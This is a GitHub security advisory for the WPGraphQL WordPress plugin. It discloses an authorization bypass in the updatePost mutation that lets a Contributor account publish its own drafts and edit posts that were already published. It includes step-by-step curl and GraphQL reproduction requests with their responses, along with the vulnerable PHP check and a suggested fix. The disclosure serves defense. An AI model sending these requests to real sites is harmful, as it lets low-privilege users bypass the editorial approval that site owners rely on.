Skip to content

WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost

Moderate severity GitHub Reviewed Published Sep 4, 2026 in wp-graphql/wp-graphql

Package

composer wp-graphql/wp-graphql (Composer)

Affected versions

< 2.22.2

Patched versions

None

Description

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publish_posts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

  • Broken access control / authorization bypass
  • CWE-863: Incorrect Authorization
  • OWASP 2021: A01 – Broken Access Control
  • Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level edit_posts capability:

if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
    // Reject request.
}

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

current_user_can( $post_type_object->cap->edit_post, $post_id )

It also does not check publish_posts when the requested update changes the post status to publish. The mutation passes the requested status directly to wp_update_post(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publish_posts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

  1. WPGraphQL 2.19.0 is installed and activated using its default settings.
  2. The attacker controls a normal WordPress Contributor account.
  3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wp_graphql/wp_rest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has edit_posts, but does not have publish_posts or edit_published_posts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \
  'https://wordpress.example/graphql'

Example response:

{
  "data": {
    "createPost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "draft"
      }
    }
  }
}

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"status":"publish"}' \
  'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

{
  "code": "rest_cannot_publish",
  "message": "Sorry, you are not allowed to publish posts.",
  "data": {
    "status": 403
  }
}

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \
  'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

{
  "data": {
    "updatePost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "publish",
        "uri": "/contributor-publication-bypass-test/"
      }
    }
  }
}

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

curl -H 'Content-Type: application/json' \
  --data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \
  'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack edit_published_posts. Nevertheless, the following mutation changes its title and content:

mutation {
  updatePost(input: {
    id: "PUBLISHED_POST_DATABASE_ID"
    title: "Unauthorized change after editorial approval"
    content: "The Contributor can replace previously approved content."
  }) {
    post {
      databaseId
      title
      status
    }
  }
}

In live testing, the REST API returned 403 rest_cannot_edit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

  • Publish arbitrary posts without an Editor or Administrator approving them.
  • Publish spam, phishing, misleading, or SEO content under the attacker's account.
  • Modify content after an Editor has reviewed and published it.
  • Change the status of the attacker's previously published posts, potentially removing approved content from public view.
  • Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

if (
    ! isset( $post_type_object->cap->edit_post ) ||
    ! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
    throw new UserError( /* authorization error */ );
}

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publish_posts capability. Tests should cover at least:

  • Contributor updating their own draft: allowed.
  • Contributor publishing their own draft: denied or changed to pending.
  • Contributor editing their own previously published post: denied.
  • Author publishing and editing their own post: allowed.
  • Contributor editing another author's post: denied.

References

@jasonbahl jasonbahl published to wp-graphql/wp-graphql Sep 4, 2026
Published to the GitHub Advisory Database Sep 23, 2026
Reviewed Sep 23, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-88974

GHSA ID

GHSA-5mmc-8pc9-wggg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.